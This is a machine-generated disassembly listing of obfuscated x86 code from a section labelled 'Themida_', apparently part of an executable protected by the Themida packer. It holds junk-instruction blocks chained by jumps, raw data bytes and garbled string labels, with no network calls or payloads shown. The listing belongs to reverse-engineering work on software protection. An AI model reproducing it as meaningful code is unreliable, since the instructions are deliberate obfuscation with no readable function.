		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559EC6:				; CODE XREF: Themida_:0056AA43j
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_56C3BE
; ---------------------------------------------------------------------------

loc_559ED0:				; CODE XREF: Themida_:00565ADAj
		mov	edi, 4
		sub	eax, edi
		pop	edi
		jmp	loc_56662E
; ---------------------------------------------------------------------------
aISiqh4		db '┬щS┬Оh4',7,0
		dw 8900h
		dd 0E950240Ch, 6218h
; ---------------------------------------------------------------------------

loc_559EF0:				; CODE XREF: Themida_:0056051Aj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 27AF6801h
		jmp	loc_55DEB1
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0EF68240Ch, 89000062h, 0CB22414h,	0C07DB353h
		dd 25E905EBh
		db 0C0h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_559F1B:				; CODE XREF: Themida_:00564A23j
					; Themida_:00567C77j
		add	esp, 4
		jmp	loc_55FA08
; ---------------------------------------------------------------------------

loc_559F26:				; CODE XREF: Themida_:005653E6j
		mov	eax, [esp]
		add	esp, 4
		sub	ebx, 800FEh
		mov	ebp, ebx
		jmp	loc_569297
; ---------------------------------------------------------------------------

loc_559F39:				; CODE XREF: Themida_:0055DFCBj
		sub	al, cl
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_55CE08
; ---------------------------------------------------------------------------

loc_559F44:				; CODE XREF: Themida_:005694B3j
		pop	edi
		jmp	loc_56B46F
; ---------------------------------------------------------------------------
word_559F4A	dw 77FFh		; DATA XREF: Themida_:00556218o
		dd 59669D1Ch, 9C2414D2h, 0FFC38EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559F59:				; CODE XREF: Themida_:0056CBF5j
		sub	[esp+4], eax
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_563886
; ---------------------------------------------------------------------------

loc_559F68:				; CODE XREF: Themida_:0056566Cj
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		jmp	loc_56A9C5
; ---------------------------------------------------------------------------

loc_559F75:				; CODE XREF: Themida_:0055E443j
					; Themida_:loc_5601ECj
		or	esi, edx
		jmp	loc_558316
; ---------------------------------------------------------------------------

loc_559F7C:				; CODE XREF: Themida_:0055F801j
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_56B823
; ---------------------------------------------------------------------------

loc_559F87:				; CODE XREF: Themida_:0055B1DCj
		sub	dword ptr [esp+4], 3F891C90h
		add	[esp+4], ebx
		add	dword ptr [esp+4], 3F891C90h
		jmp	loc_561A18
; ---------------------------------------------------------------------------
		dd 6723C681h, 0E95A1660h, 0ACC9h, 0E94BB050h, 3F5Ch
; ---------------------------------------------------------------------------

loc_559FB4:				; CODE XREF: Themida_:00556FECj
		push	esp
		mov	eax, [esp]
		jmp	loc_55DB8A
; ---------------------------------------------------------------------------

loc_559FBD:				; CODE XREF: Themida_:0056A023j
		push	edx
		mov	edx, 678160E9h
		add	edx, 29DC2923h
		jmp	loc_56BAED
; ---------------------------------------------------------------------------

loc_559FCE:				; CODE XREF: Themida_:00561ABCj
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
		db 87h
		dd 248B241Ch, 2434FF24h, 4C4815Ah, 81000000h, 4C6h, 24348700h
		dd 4EC835Ch, 0E9243489h, 0CE22h
dword_559FF8	dd 0E932FF64h, 0FFFFC2E7h ; DATA XREF: Themida_:0055623Co
; ---------------------------------------------------------------------------

loc_55A000:				; CODE XREF: Themida_:00560D96j
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_55A005:				; CODE XREF: Themida_:0055A5E7j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		inc	word ptr [esp]
		pushf
		jmp	loc_5627C8
; ---------------------------------------------------------------------------

loc_55A018:				; CODE XREF: Themida_:00563D32j
		push	27C6623Bh
		pop	eax
		and	eax, 34FB036Ch
		shl	eax, 4
		jmp	loc_55A414
; ---------------------------------------------------------------------------
byte_55A02B	db 0ADh			; DATA XREF: Themida_:00556018o
		dd 815D5455h, 4C5h, 4ED8300h, 73F6E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A03E:				; CODE XREF: Themida_:0055C7FFj
		sub	ebx, 206748EBh
		jmp	loc_567C00
; ---------------------------------------------------------------------------

loc_55A049:				; CODE XREF: Themida_:0055D3B2j
		add	esi, 0E67BDD10h
		add	ebp, esi
		pop	esi
		push	ecx
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 6BA917C5h
		shl	ebp, 7
		jmp	loc_567999
; ---------------------------------------------------------------------------
		dw 489h
		dd 24048124h, 4A973A5Ch, 5CEE815Eh, 584A973Ah, 81240C8Bh
		dd 4C4h, 0F0315A00h, 4EC815Eh, 89000000h, 97E92414h
		db 7Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55A0A3:				; CODE XREF: Themida_:00563CE8j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		sub	al, 56h
		add	al, ch
		push	edx
		mov	dl, 39h
		or	dl, 0A5h
		xor	dl, 9Ah
		jmp	loc_55A2F4
; ---------------------------------------------------------------------------

loc_55A0BF:				; CODE XREF: Themida_:005678ACj
		mov	bh, ah
		jmp	loc_56D681
; ---------------------------------------------------------------------------

loc_55A0C6:				; CODE XREF: Themida_:00560053j
		jz	loc_5688C5
		and	edi, 4A1342B1h
		shr	edi, 3
		jnp	loc_569D91
		push	ebp
		mov	ebp, 1A80439Dh
		mov	ecx, edi
		mov	bl, al

loc_55A0E5:				; CODE XREF: Themida_:0056BED8j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_55B5C0
; ---------------------------------------------------------------------------

loc_55A0F0:				; CODE XREF: Themida_:005576A8j
		mov	cx, [esp]
		jmp	loc_55BA7A
; ---------------------------------------------------------------------------

loc_55A0F9:				; CODE XREF: Themida_:0055A583j
		and	eax, ebx
		jmp	loc_5601FB
; ---------------------------------------------------------------------------

loc_55A100:				; CODE XREF: Themida_:0055E770j
					; Themida_:00563FEEj
		push	ebx
		mov	bh, 0DBh
		sub	ch, 11h
		add	ch, bh
		add	ch, 11h
		pop	ebx
		mov	dl, ch
		pop	ecx
		add	dl, 84h
		add	al, 0F6h
		jmp	loc_567964
; ---------------------------------------------------------------------------
		db 5Bh,	80h, 0E9h
		dd 8BC82816h, 0C483240Ch, 2EC8104h, 66000000h, 0B5240C89h
		dd 0E9E82822h, 0FFC5h
; ---------------------------------------------------------------------------

loc_55A138:				; CODE XREF: Themida_:00569BD7j
		dec	edi
		sub	edi, 5DA0450h
		sub	edi, 1F5E79E3h
		push	esi
		mov	esi, 16280BEFh
		and	esi, 0C3F310Fh
		xor	esi, 278A3F2Ah
		push	esi
		dec	dword ptr [esp]
		pop	esi
		sub	esi, 11B8362Ah
		xor	esi, 27C70CFEh
		jmp	loc_557472
; ---------------------------------------------------------------------------

loc_55A16D:				; CODE XREF: Themida_:0055B640j
		mov	ecx, ebp
		mov	eax, ecx
		pop	ecx
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_558A6A
; ---------------------------------------------------------------------------

loc_55A17E:				; CODE XREF: Themida_:00558468j
		mov	ecx, [esp]
		jmp	loc_55D298
; ---------------------------------------------------------------------------

loc_55A186:				; CODE XREF: Themida_:00569971j
		not	dword ptr [esp]
		mov	ebp, [esp]
		push	7A04h
		mov	[esp], edi
		jmp	loc_5585D2
; ---------------------------------------------------------------------------

loc_55A199:				; CODE XREF: Themida_:0056B94Dj
		mov	esi, 7E2E67D4h
		add	edx, esi
		pop	esi
		jmp	loc_560321
; ---------------------------------------------------------------------------

loc_55A1A6:				; CODE XREF: Themida_:0055FAB5j
		add	dword ptr [esp], 3AB803C3h
		sub	[esp], ebp
		jmp	loc_566120
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 2Ah
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A1BB:				; CODE XREF: Themida_:00559B78j
		push	esi
		mov	esi, esp
		jmp	loc_56273D
; ---------------------------------------------------------------------------
aI4THw3		db '┴4$T^hw3',0
		dd 242C8900h, 6545B850h, 0CD681E4Bh, 8900004Ch,	34812404h
		dd 7A228724h, 5DE95D43h, 8B0000CDh, 0C481241Ch,	4, 2454F651h
		dd 1177E901h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A1FE:				; CODE XREF: Themida_:005591A1j
		mov	[esp], eax
		mov	eax, 605715A7h
		shl	eax, 7
		jmp	loc_567A0A
; ---------------------------------------------------------------------------
word_55A20E	dw 34FFh		; DATA XREF: Themida_:0055619Co
		dd 24048B24h, 81E68956h, 4C6h, 4C68300h, 8949E9h, 18BB5300h
		dd 0E97C2454h, 0FFFFE79Fh, 9ED6E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A236:				; CODE XREF: Themida_:005617AEj
		jl	loc_559160
		inc	bh
		jnz	loc_56A5B5
		mov	esi, ecx
		mov	al, al

loc_55A248:				; CODE XREF: Themida_:00558CA9j
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	[esp], al
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_55A257:				; CODE XREF: Themida_:0056446Bj
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_559617
; ---------------------------------------------------------------------------

loc_55A271:				; CODE XREF: Themida_:0056C2EBj
		push	2C8h
		mov	[esp], eax
		push	edx
		mov	edx, 3EBB3FECh
		mov	eax, 3EBB3FECh
		sub	eax, edx
		pop	edx
		add	eax, 71611571h
		sub	eax, ecx
		sub	eax, 71611571h
		push	eax
		pop	ecx
		pop	eax
		add	ecx, 0C88B0F61h
		mov	edx, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_56227E
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 85h
		dd 8747CF22h, 87D6F7F2h, 75E942F2h
		db 0B9h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A2BB:				; CODE XREF: Themida_:loc_56007Fj
		neg	ebx
		jle	loc_565C60
		jmp	loc_56949E
; ---------------------------------------------------------------------------
		dd 4BFh, 5BFB0100h
; ---------------------------------------------------------------------------

loc_55A2D0:				; CODE XREF: Themida_:00568315j
		sub	[esp], ebp
		pop	ebp
		jmp	loc_566B67
; ---------------------------------------------------------------------------

loc_55A2D9:				; CODE XREF: Themida_:0056A817j
		push	esp
		pop	esi
		add	esi, 4
		push	ebp
		mov	ebp, 35EB32F2h
		neg	ebp
		add	ebp, 35EB32F6h
		jmp	loc_56BF10
; ---------------------------------------------------------------------------

loc_55A2F4:				; CODE XREF: Themida_:0055A0BAj
		and	dl, 24h
		add	dl, 80h
		jmp	loc_56B2B4
; ---------------------------------------------------------------------------
		db 0BDh
		dd 6A6200D2h, 377FB951h, 0D9F767E5h, 740BE981h,	0C829806Ch
		dd 6EAB0559h, 0E8293A12h, 6EABBB53h, 0D8293A12h, 5476055Bh
		dd 815D17AEh, 4ECh, 241C8900h, 0D387D3BBh, 0EC835577h
		dd 24348904h, 7408E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A346:				; CODE XREF: Themida_:005623B5j
					; Themida_:00563E82j
		dec	edi
		shr	edi, 8
		jns	loc_565A42
		xor	edi, 43A98B83h
		jmp	loc_568185
; ---------------------------------------------------------------------------
byte_55A35B	db 83h			; DATA XREF: Themida_:00556150o
		dd 545704ECh, 0BB07E9h
		db 0
; ---------------------------------------------------------------------------

loc_55A365:				; CODE XREF: Themida_:loc_561C4Fj
		pop	ecx
		mov	bh, dh
		pop	edx
		add	bh, 57h
		push	ecx
		jmp	loc_559094
; ---------------------------------------------------------------------------

loc_55A372:				; CODE XREF: Themida_:00562BC4j
		add	eax, 4
		push	ebx
		mov	ebx, 4
		sub	eax, 7A0F7475h
		add	eax, ebx
		add	eax, 7A0F7475h
		pop	ebx
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_56D02E
; ---------------------------------------------------------------------------

loc_55A394:				; CODE XREF: Themida_:0056A182j
		inc	eax
		jz	loc_563F8F
		push	edi
		mov	edi, 0FF934EDCh
		add	eax, edi
		pop	edi
		mov	esi, eax
		pop	eax
		sub	[edi+24h], esi
		push	dword ptr [esp]
		jmp	loc_55A854
; ---------------------------------------------------------------------------

loc_55A3B2:				; CODE XREF: Themida_:00567CC2j
		pop	eax
		push	3EDEh
		mov	[esp], edx
		jmp	loc_5672FC
; ---------------------------------------------------------------------------

loc_55A3C0:				; CODE XREF: Themida_:00565782j
		mov	ebp, [esp]
		add	esp, 4
		xor	ebx, eax
		push	small word ptr [eax]
		jmp	loc_566056
; ---------------------------------------------------------------------------

loc_55A3D0:				; CODE XREF: Themida_:0055FC11j
		push	edi
		mov	edi, 4
		mov	edx, edi
		pop	edi
		add	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56D4D8
; ---------------------------------------------------------------------------

loc_55A3E8:				; CODE XREF: Themida_:0055C4BFj
		add	esp, 4
		jmp	loc_5594DB
; ---------------------------------------------------------------------------
		db 81h
		dd 532172EEh, 0EAEE8128h, 0E96BF205h, 0C8FBh
; ---------------------------------------------------------------------------

loc_55A404:				; CODE XREF: Themida_:005576C9j
		mov	eax, 758D7825h
		jmp	loc_5660CE
; ---------------------------------------------------------------------------

loc_55A40E:				; CODE XREF: Themida_:005596ACj
		inc	edx
		jmp	loc_5648E9
; ---------------------------------------------------------------------------

loc_55A414:				; CODE XREF: Themida_:0055A026j
		and	eax, 16192F8Bh
		add	eax, 24C0F995h
		push	edx
		mov	edx, 78055DD6h
		add	ebx, edx
		pop	edx
		jmp	loc_560D8B
; ---------------------------------------------------------------------------

loc_55A42C:				; CODE XREF: Themida_:0055E4D1j
		pop	cx
		push	ax
		mov	ah, 0C5h
		xor	dl, ah
		pop	ax
		add	dl, 61h
		push	eax
		mov	al, 0EDh
		push	edx
		mov	dl, 0B7h
		jmp	loc_56230B
; ---------------------------------------------------------------------------

loc_55A444:				; CODE XREF: Themida_:0056AE83j
		xor	edx, edi
		jmp	loc_567477
; ---------------------------------------------------------------------------

loc_55A44B:				; CODE XREF: Themida_:0056C4F2j
		pop	edx
		add	al, 0ACh
		pop	dx
		push	edx
		jmp	loc_561543
; ---------------------------------------------------------------------------

loc_55A456:				; CODE XREF: Themida_:0056B6EDj
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_5680CF
; ---------------------------------------------------------------------------

loc_55A461:				; CODE XREF: Themida_:0056B4CFj
		mov	dh, 0C3h
		or	dh, 0CDh
		jmp	loc_5699B5
; ---------------------------------------------------------------------------

loc_55A46B:				; CODE XREF: Themida_:00567B0Fj
		pop	ebx
		jmp	loc_5654BF
; ---------------------------------------------------------------------------
aXh		db 'Xhч',9,0
		dw 8900h
		dd 0E0892404h, 0F5B4E9h, 17E46800h, 3C890000h, 505F5224h
		dd 0FFEF71E9h, 242C8BFFh, 4C481h, 38E90000h
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55A49F:				; CODE XREF: Themida_:00562FA2j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5692D7
; ---------------------------------------------------------------------------
		dd 5559CD01h, 77BBE9h, 4EC8100h, 0E9000000h, 6957h
; ---------------------------------------------------------------------------

loc_55A4BC:				; CODE XREF: Themida_:00558E62j
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		push	4
		pop	ebx
		sub	ebp, 46FB2469h
		add	ebp, ebx
		jmp	loc_565E0F
; ---------------------------------------------------------------------------

loc_55A4D8:				; CODE XREF: Themida_:0056422Dj
		add	esp, 4
		push	ecx
		sub	dword ptr [esp], 420260FBh
		pop	esi
		jmp	loc_55AB7D
; ---------------------------------------------------------------------------

loc_55A4E9:				; CODE XREF: Themida_:00564C4Aj
		bts	[esp], ax
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
		dd 0FFBDEEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A4F9:				; CODE XREF: Themida_:0055BD06j
		pop	ecx
		jmp	loc_55EEB5
; ---------------------------------------------------------------------------

loc_55A4FF:				; CODE XREF: Themida_:00561393j
		push	ecx
		mov	ecx, 53934789h
		neg	ecx
		xor	ecx, 0AC6CB873h
		add	ebx, ecx
		jmp	loc_56C70B
; ---------------------------------------------------------------------------

loc_55A514:				; CODE XREF: Themida_:0055D084j
		dec	ah
		jg	loc_5673B3
		add	ah, 54h
		neg	ah
		jmp	loc_562095
; ---------------------------------------------------------------------------

loc_55A526:				; CODE XREF: Themida_:0056C0B2j
		add	dl, 5Bh
		jmp	loc_55E302
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 4EA81h, 14870000h, 8F545C24h, 4832404h, 7BE90424h
		db 8, 1, 0
; ---------------------------------------------------------------------------

loc_55A54B:				; CODE XREF: Themida_:00557136j
		mov	ebp, esp
		jmp	loc_558282
; ---------------------------------------------------------------------------

loc_55A552:				; CODE XREF: Themida_:0055E41Fj
		pop	edx
		push	ecx
		push	6484h
		jmp	loc_55F806
; ---------------------------------------------------------------------------

loc_55A55E:				; CODE XREF: Themida_:loc_56268Dj
					; Themida_:00569BB0j
		pop	esp
		xor	[esp], eax
		jmp	loc_568518
; ---------------------------------------------------------------------------

loc_55A567:				; CODE XREF: Themida_:005623A8j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_565EB1
; ---------------------------------------------------------------------------

loc_55A572:				; CODE XREF: Themida_:0056056Cj
		pop	edx
		add	bl, 0D0h
		add	bl, 57h
		add	bl, al
		jmp	loc_568936
; ---------------------------------------------------------------------------

loc_55A580:				; CODE XREF: Themida_:005615CCj
		sub	ebx, ecx
		pop	ecx
		jmp	loc_55A0F9
; ---------------------------------------------------------------------------

loc_55A588:				; CODE XREF: Themida_:0055F085j
		mov	ebx, 2
		add	edx, ebx
		pop	ebx
		jmp	loc_5642D3
; ---------------------------------------------------------------------------

loc_55A595:				; CODE XREF: Themida_:005657CDj
		push	ebp
		jmp	loc_561633
; ---------------------------------------------------------------------------

loc_55A59B:				; CODE XREF: Themida_:0056321Bj
		mov	esp, [esp]
		jmp	loc_55EDED
; ---------------------------------------------------------------------------

loc_55A5A3:				; CODE XREF: Themida_:005595E0j
		add	ecx, 4435703Ah
		jmp	loc_55AFFD
; ---------------------------------------------------------------------------
		dw 55Fh
		dd 11933ECDh, 0C83B0405h, 5DAF2D22h, 0D82963D8h, 0D85DAF05h
		dd 240DE963h, 0C6810000h, 16D00A5Eh, 0BD55D601h, 6D446B40h
		dd 35CDC581h, 4CE967E7h
		db 0D5h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A5E3:				; CODE XREF: Themida_:00569164j
		pop	esi
		xor	ebp, [esp]
		jmp	loc_55A005
; ---------------------------------------------------------------------------

loc_55A5EC:				; CODE XREF: Themida_:0056BE33j
		jmp	loc_5689E1
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 4BDh, 0E9E80100h, 0B642h
; ---------------------------------------------------------------------------

loc_55A600:				; CODE XREF: Themida_:00559486j
		mov	ebx, 1520643Fh
		xor	ebx, 4D3C787Eh
		jp	loc_55D0FE
		jmp	loc_557A09
; ---------------------------------------------------------------------------
		dw 0C329h
		dd 55D30158h
		db 8Bh,	0CAh, 5Eh
; ---------------------------------------------------------------------------

loc_55A61F:				; CODE XREF: Themida_:0055E392j
		mov	eax, 4076A46h
		jmp	loc_560D0E
; ---------------------------------------------------------------------------
byte_55A629	db 0ACh, 51h, 0E9h	; DATA XREF: Themida_:00556038o
		dd 0FFFFE7DAh
; ---------------------------------------------------------------------------

loc_55A630:				; CODE XREF: Themida_:0056BEE6j
		push	esi
		mov	esi, 1B3535C0h
		jmp	loc_567DE9
; ---------------------------------------------------------------------------
		db 89h
		dd 5AD589C2h, 5224048Bh, 0C2815A54h, 4,	4C281h,	14870000h
		dd 68525C24h, 67A1h, 0B9240C89h, 1133EB6h, 4768E9h
		db 0
; ---------------------------------------------------------------------------

loc_55A669:				; CODE XREF: Themida_:00569881j
		mov	[esp], ebx
		mov	ebx, 759D36BFh
		mov	ecx, 8A62C945h
		add	ecx, ebx
		pop	ebx
		push	ecx
		mov	ecx, 38441FC5h
		add	eax, 598A343Dh
		add	eax, 482871D8h
		sub	eax, ecx
		sub	eax, 482871D8h
		sub	eax, 598A343Dh
		jmp	loc_568B21
; ---------------------------------------------------------------------------

loc_55A69A:				; CODE XREF: Themida_:0055C486j
		add	ebx, 4
		jmp	loc_55B6B1
; ---------------------------------------------------------------------------

loc_55A6A5:				; CODE XREF: Themida_:0055EE6Aj
		pop	esi
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	1F5h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56ADD4
; ---------------------------------------------------------------------------
aBcwdSf		db '│ГWD/,ИF[',0
		align 2

loc_55A6D2:				; CODE XREF: Themida_:00562DE8j
		pop	ebp
		xor	esi, 279C57CFh
		sub	edi, 1A204764h
		add	edi, esi
		jmp	loc_557E20
; ---------------------------------------------------------------------------

loc_55A6E6:				; CODE XREF: Themida_:00560424j
		sub	ebx, 0AF67FFEh
		add	ebx, ebp
		push	esi
		jmp	loc_559B31
; ---------------------------------------------------------------------------
		dd 709BC381h, 0C3012853h, 709BEB81h, 81582853h,	4C3h, 241C8700h
		dd 2C3835Ch, 8B241C87h,	0E2E92424h
		db 0ACh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A71B:				; CODE XREF: Themida_:00557E81j
		add	eax, edx
		jmp	loc_56D711
; ---------------------------------------------------------------------------

loc_55A722:				; CODE XREF: Themida_:0056D034j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55D199
; ---------------------------------------------------------------------------
byte_55A72D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00556290o
aQvtsaa		db '$QVTИМ═',0
		db 0
; ---------------------------------------------------------------------------

loc_55A739:				; CODE XREF: Themida_:00558EEFj
		push	eax
		mov	ah, 4Dh
		and	dl, ah
		pop	eax
		not	dl
		and	dl, 92h
		jmp	loc_565721
; ---------------------------------------------------------------------------
		db 29h,	0D9h, 5Bh
		dd 0C9C18141h, 8130DD7Dh, 10615DC1h, 14F75118h,	0B8505924h
		dd 9C78B275h, 8158C129h, 0F54BB4EEh, 83CE017Fh,	148904ECh
		dd 4448E924h
		db 2 dup(0)
word_55A77A	dw 8B66h		; DATA XREF: Themida_:005561E8o
		dd 0EC812404h, 4, 0E9243489h, 10EBAh, 1AF668h, 242C8900h
		dd 0E9505D54h, 0AE11h, 8324148Bh, 0E95204C4h, 89CBh, 0ABC8E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A7AE:				; CODE XREF: Themida_:0055AB38j
		pop	ecx
		sub	ah, 0ABh
		sub	ah, 8Bh
		add	ah, 1Ch
		jmp	loc_56BF03
; ---------------------------------------------------------------------------

loc_55A7BD:				; CODE XREF: Themida_:005679F1j
		push	eax
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
		dd 148BD001h, 4C48324h,	984AE9h
		db 0
; ---------------------------------------------------------------------------

loc_55A7D1:				; CODE XREF: Themida_:005641F4j
		shl	dh, 8
		add	dh, 0A9h
		sub	ch, dh
		mov	edx, [esp]
		jmp	loc_566D5A
; ---------------------------------------------------------------------------

loc_55A7E1:				; CODE XREF: Themida_:0055E0A0j
		push	edx
		mov	edx, 0
		mov	esi, edx
		pop	edx
		mov	[edi+24h], esi
		jmp	loc_567A35
; ---------------------------------------------------------------------------

loc_55A7F2:				; CODE XREF: Themida_:00565E7Aj
		pop	ebx
		jmp	loc_557E86
; ---------------------------------------------------------------------------

loc_55A7F8:				; CODE XREF: Themida_:00561A9Aj
		xor	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	14226451h
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 307C586Ah
		and	ecx, eax
		pop	eax
		add	ecx, 0FFFFFFFFh
		push	edx
		mov	edx, 3B2C1888h
		xor	ecx, edx
		pop	edx
		inc	ecx
		push	0C40h
		mov	[esp], eax
		mov	eax, 10641DD4h
		add	ecx, eax
		pop	eax
		sub	edi, ecx
		pop	ecx
		push	4AF0h
		mov	[esp], ebx
		mov	ebx, 15AB56ACh
		sub	ebx, 285124FBh
		shr	ebx, 6
		and	ebx, 466F4C6Fh
		jmp	loc_55699B
; ---------------------------------------------------------------------------

loc_55A854:				; CODE XREF: Themida_:0055A3ADj
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_562C1D
; ---------------------------------------------------------------------------
		db 89h
		dd 4832424h, 505E0424h,	9762D9B8h, 617C3534h, 0D8F74291h
		dd 0D14AD725h, 4FB95133h, 2901D148h, 0E346E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A88A:				; CODE XREF: Themida_:00566632j
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_558F85
; ---------------------------------------------------------------------------

loc_55A89F:				; CODE XREF: Themida_:00562610j
		mov	edx, 29323F56h
		or	edx, 1151709Fh
		not	edx
		push	edi
		jmp	loc_55D2DE
; ---------------------------------------------------------------------------

loc_55A8B2:				; CODE XREF: Themida_:0055ED0Dj
		push	ebx
		mov	ebx, 4
		sub	ecx, 3B1B0455h
		push	ebp
		mov	ebp, 687877FDh
		add	ecx, ebp
		pop	ebp
		sub	ecx, ebx
		jmp	loc_5566C6
; ---------------------------------------------------------------------------
word_55A8CE	dw 77FFh		; DATA XREF: Themida_:00556128o
		dd 59669D1Ch, 9C241CD2h, 0DCFE9h
		db 0
; ---------------------------------------------------------------------------

loc_55A8DD:				; CODE XREF: Themida_:00557C2Aj
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		not	dword ptr [esp]
		pop	eax
		jmp	loc_564D0B
; ---------------------------------------------------------------------------

loc_55A8F0:				; CODE XREF: Themida_:0055C1A8j
		mov	edi, 6474080Bh
		xor	edi, 6474080Fh
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55BD54
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 95h
		dd 89314322h, 0EF815AD7h, 0D971281h, 12710E9h
		db 0
; ---------------------------------------------------------------------------

loc_55A929:				; CODE XREF: Themida_:0055FB45j
		push	edi
		mov	edi, 4
		jmp	loc_5591A6
; ---------------------------------------------------------------------------
		dd 0C1C381h, 8D0F0A32h,	4344h, 0FF4BE9h, 52F80000h, 3721E9h
		db 0, 5Ah, 57h
; ---------------------------------------------------------------------------

loc_55A94F:				; CODE XREF: Themida_:0055AB91j
		add	ebp, 4
		jmp	loc_564863
; ---------------------------------------------------------------------------

loc_55A95A:				; CODE XREF: Themida_:0055CFFFj
		mov	esi, [esp]
		push	ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	0CEh
		mov	[esp], ebp
		mov	ebp, 1298041Ch
		jmp	loc_563447
; ---------------------------------------------------------------------------

loc_55A97B:				; CODE XREF: Themida_:0056080Fj
		sub	edx, 8404C182h
		add	esi, edx
		mov	edx, [esp]
		jmp	loc_56B2F3
; ---------------------------------------------------------------------------

loc_55A98B:				; CODE XREF: Themida_:0056A928j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_56B6E7
; ---------------------------------------------------------------------------

loc_55A99B:				; CODE XREF: Themida_:0055B627j
		add	eax, 19194110h
		shr	eax, 7
		neg	eax
		xor	eax, 0A7D8FA6Ah
		sub	ebx, eax
		pop	eax
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_558931
; ---------------------------------------------------------------------------

loc_55A9BC:				; CODE XREF: Themida_:0055B980j
					; Themida_:0056B548j
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	edx, 4
		push	6BACh
		jmp	loc_56BF38
; ---------------------------------------------------------------------------

loc_55A9D5:				; CODE XREF: Themida_:00568C7Ej
		xor	ebp, 0F6FF6375h
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_55717D
; ---------------------------------------------------------------------------

loc_55A9F2:				; CODE XREF: Themida_:0056810Ej
		xor	cl, 22h
		xor	cl, 15h
		jmp	loc_56AF06
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 0E9000000h, 2A73h
; ---------------------------------------------------------------------------

loc_55AA08:				; CODE XREF: Themida_:00565AA8j
		shr	ebx, 8
		jmp	loc_55AE09
; ---------------------------------------------------------------------------

loc_55AA10:				; CODE XREF: Themida_:0055EBDCj
		add	ebx, 2D1D4B5Ch
		add	ebx, 0FD1AF19Fh
		mov	ebp, ebx
		pop	ebx
		push	ecx
		mov	ecx, 5C3625Ah
		push	ebx
		mov	ebx, 49E44CDAh
		neg	ebx
		jmp	loc_56CD78
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 1C97h
; ---------------------------------------------------------------------------

loc_55AA38:				; CODE XREF: Themida_:0055DA1Cj
		dec	eax
		push	edx
		push	0AAFD9112h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	eax, edx
		pop	edx
		mov	esi, eax
		pop	eax
		xor	esi, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	edi, esi
		mov	esi, [esp]
		add	esp, 4
		std
		jmp	loc_56888A
